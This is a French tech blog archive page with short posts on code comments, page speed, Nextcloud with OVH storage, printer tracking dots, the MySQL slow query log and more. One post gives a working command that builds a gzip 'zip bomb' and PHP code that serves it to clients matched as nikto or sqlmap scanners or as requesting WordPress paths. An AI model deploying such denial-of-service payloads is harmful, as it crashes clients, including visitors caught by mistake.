Tous les articles par jeanmich

Sans commentaire

Google apporte son point de vue sur l’usage des fois trop exagéré des commentaires.

J’ai eu un stagiaire une fois qui était surpris du peu de commentaire dans un de mes codes. Je lui ai demandé en regardant plus en détail ce que je pouvais commenter car mes noms de fonctions, de variables étaient suffisants.

J’ai un collègue qui use et abuse des commentaires. Quel intérêt de ce type par exemple ?

// Get all users.
userService.getAllUsers();

A utiliser avec précaution.

Source

Optimiser la vitesse de chargement d’une page

Korben nous met à disposition une page qui permet de faire un rappel sur les bonnes pratiques pour améliorer la vitesse de chargement d’une page web.

Toujours aussi énervant quand on voit qu’une page met une éternité à s’afficher, sous prétexte que nos ordinateurs sont de plus en plus rapides. Or il peut arriver qu’on ait besoin d’accéder à cette page depuis un mobile avec un réseau pas au top de sa forme, ou chez quelqu’un qui a une connexion moyenne (eh oui tout le monde n’a pas la fibre ou un ADSL en débit max).

Bref on y retrouve quelques mots-clés, et des solutions qui passent d’abord par l’audit du site, par le cache du serveur, ou diverses balises à ajouter.

A appliquer !

 

Zip Bomb

Pif paf pouf, et… zip !

Hop, petit code pour créer une zip bomb du blog de Haschek :

dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip

Avec ça vous créez un fichier zippé qui fera 10 Go une fois décompressé.

L’intérêt est de le transmettre via votre serveur web par ce code PHP par exemple :

<?php
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');

Puis d’insérer le script suivant sur une de vos pages pour transmettre ce fichier :

<?php
$agent = filter_input(INPUT_SERVER, 'HTTP_USER_AGENT');

//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}

function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('10G.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}

function startsWith($a, $b) {
return strpos($a, $b) === 0;
}

Et avec ceci les scanners de vulnérabilités chercheront à ouvrir le fichier et planteront.

Source

Nextcloud et Object Storage d’OVH

Retour d’expérience intéressant pour ceux qui ont une instance Nextcloud (ou ownCloud) et veulent le combiner à la plateforme Public Cloud Storage d’OVH.

L’avantage de cette solution d’OVH est d’avoir un tarif très intéressant avec la sécurité qui va avec en fonction de la taille de vos données (il faudrait héberger 100 Go pour ne payer que 1 € par mois). Alors si on peut en plus le combiner avec sa propre instance Nextcloud, c’est super.

Voici donc un exemple type pour configurer le serveur de la sorte :

'objectstore' => array(
'class' => 'OC\\Files\\ObjectStore\\Swift',
'arguments' => array(
'username' => 'OS_USERNAME',
'password' => 'OS_PASSWORD', // mot de passe généré dans l'interface OVH
'bucket' => 'CONTAINER_NAME',
'autocreate' => false,
'region' => 'GRA3',
'url' => 'https://auth.cloud.ovh.net/v2.0',
'tenantName' => 'OS_TENANT_NAME',
'serviceName' => 'swift',
),
),

En route pour le clavier français

Ça y est, on y est presque, l’AFNOR lance sa consultation pour le clavier français.

Si vous en avez marre de galérer un faire un Ç sans devoir passer par une combinaison de touches ou de faire appel au correcteur orthographique ou encore de sortir charmap toutes les 2 minutes pour un caractère courant pourtant, il va falloir encore patienter un peu même si personnellement je pense que je passerai dessus assez vite dès que les fabricants sortiront les premiers claviers.

Alors ? Clavier AZERTY ou clavier BÉPO ?

Source

Votre imprimante vous espionne

C’est ce qu’a pu vérifier une sous-traitante de la NSA qui, voulant faire fuiter des documents, s’est faite attraper par le FBI par le marquage quasi invisible de l’imprimante qui donne le numéro le numéro de série de l’imprimante, la date et l’heure de l’impression. Il ne restait alors plus qu’à recouper avec le registre de la NSA pour faire le lien.
On retient donc qu’il vaut mieux imprimer en noir et blanc pour faire ce genre de choses ;-).

Si vous voulez vous exercez à la reconstitution, le document est disponible ici.

Source

Les Hauts-de-France en garde contre la cybermalveillance

L’ANSSI (Agence Nationale de la Sécurité des Systèmes d’Information) vient de mettre en ligne une plateforme d’assistance aux entreprises, administrations et particuliers pour se faire aider dans le cadre d’un piratage.

Disponible en test pour la région des Hauts-de-France, celle-ci sera étendue par la suite. Ses habitants peuvent y demander de l’accompagnement, ou y voir des rappels de bonnes pratique pour éviter des mésaventures.

Source

L’hygiène numérique du root

C’est en allant sur Korben que j’ai fait la connaissance de Aeris et de sa présentation sur l’hygiène numérique pour l’administrateur système.

Et je dois dire que c’est toujours intéressant d’avoir un point de vue sur les bonnes pratiques à mettre en place quand on veut gérer un serveur.

Je n’ai pas encore écouté l’audio car j’avoue que quelques slides m’interpellent comme le rejet d’une version LTS, mais à regarder sur ici et à écouter .

Autre conférences disponibles ici.

Ton MySQL est trop slow

On me dit dans l’oreillette que des gens utilisent encore MySQL.

Alors pour ces personnes, il faut savoir que MySQL met à disposition un outil pour voir les requêtes les plus lentes en éditant le fichier /etc/mysql/my.cnf et en décommentant les lignes suivantes :

slow_query_log_file = /var/log/mysql/mysql-slow.log
slow_query_log = 1
long_query_time = 1

A votre disposition ensuite la commande mysqldumpslow /var/log/mysql/mysql-slow.log pour analyser tout cela.

Source